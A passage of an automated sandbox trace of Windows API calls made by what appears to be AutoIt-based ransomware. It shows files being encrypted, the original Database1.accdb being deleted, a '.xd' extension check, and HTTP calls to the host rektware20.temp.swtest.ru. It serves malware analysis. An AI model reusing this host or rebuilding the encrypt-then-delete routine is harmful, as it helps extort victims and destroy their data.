lpMsg=0x130e784) returned 0 [0069.577] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0069.577] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.577] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0069.577] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0069.577] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.577] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.577] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.618] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.618] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.618] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.643] WriteFile (in: hFile=0x2ac, lpBuffer=0x4e87060*, nNumberOfBytesToWrite=0x57010, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x4e87060*, lpNumberOfBytesWritten=0x130f01c*=0x57010, lpOverlapped=0x0) returned 1 [0069.753] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.753] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.754] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0069.754] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0069.754] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.754] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0069.754] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0069.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621360, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0069.754] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0069.754] CryptDestroyKey (hKey=0x164c7b0) returned 1 [0069.754] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0069.754] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0069.754] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0069.755] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0069.755] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0069.755] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0069.755] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0069.755] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0069.755] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0069.755] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0069.755] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0069.755] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0069.755] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0069.755] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0069.755] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.755] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0069.755] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.755] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0069.755] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0069.755] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0069.755] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.755] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0069.762] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0069.762] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.762] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.762] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0069.762] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0069.763] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0069.763] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0069.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0069.763] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0069.763] CryptReleaseContext (hProv=0x17aa1a8, dwFlags=0x0) returned 1 [0069.763] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.763] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.763] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0069.763] FreeLibrary (hLibModule=0x74c60000) returned 1 [0069.763] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.763] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.763] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.764] CloseHandle (hObject=0x3bc) returned 1 [0069.764] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.764] CloseHandle (hObject=0x2ac) returned 1 [0069.773] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.778] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0069.778] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Database1.accdb", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Database1.accdb", lpFilePart=0x0) returned 0x2f [0069.779] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Database1.accdb" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\database1.accdb")) returned 0x20 [0069.781] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Database1.accdb", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c4f0 [0069.784] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Database1.accdb" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\database1.accdb")) returned 1 [0069.795] FindNextFileW (in: hFindFile=0x164c4f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0069.795] FindClose (in: hFindFile=0x164c4f0 | out: hFindFile=0x164c4f0) returned 1 [0069.796] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0069.796] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0069.796] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0069.796] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0069.797] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\DCBrwI.docx", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0069.797] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0069.797] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0069.797] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0069.798] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0069.798] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0069.798] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0069.798] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d78, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620d78, lpdwBufferLength=0x130ef8c) returned 1 [0069.798] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0069.798] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0069.798] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0069.821] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0069.821] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0069.821] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0069.821] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629290, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629290*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0069.821] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292b0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0069.821] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0069.821] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0069.821] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0069.821] CloseHandle (hObject=0x0) returned 0 [0069.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\DCBrwI.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\DCBrwI.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\DCBrwI.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\DCBrwI.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\DCBrwI.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\DCBrwI.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\DCBrwI.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\DCBrwI.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\DCBrwI.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\DCBrwI.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\DCBrwI.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\DCBrwI.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\DCBrwI.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\DCBrwI.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\DCBrwI.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\DCBrwI.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\DCBrwI.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\DCBrwI.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\DCBrwI.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\DCBrwI.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\DCBrwI.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\DCBrwI.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\DCBrwI.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\DCBrwI.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\DCBrwI.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\DCBrwI.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\DCBrwI.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\DCBrwI.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\DCBrwI.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\DCBrwI.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\DCBrwI.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\DCBrwI.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DCBrwI.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.825] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CBrwI.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.825] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BrwI.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.825] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rwI.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.825] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="wI.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.825] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="I.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.826] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0069.826] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.826] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.826] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0069.827] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0069.827] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0069.827] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0069.828] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0069.828] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0069.829] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0069.829] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0069.829] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d78, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620d78, lpdwBufferLength=0x130ee1c) returned 1 [0069.829] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0069.830] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0069.831] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0069.832] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0069.832] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0069.832] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0069.832] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0069.832] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0069.832] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0069.833] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0069.833] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0069.833] CloseHandle (hObject=0x0) returned 0 [0069.833] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.833] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\DCBrwI.docx", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0069.833] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0069.833] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.833] CharUpperBuffW (in: 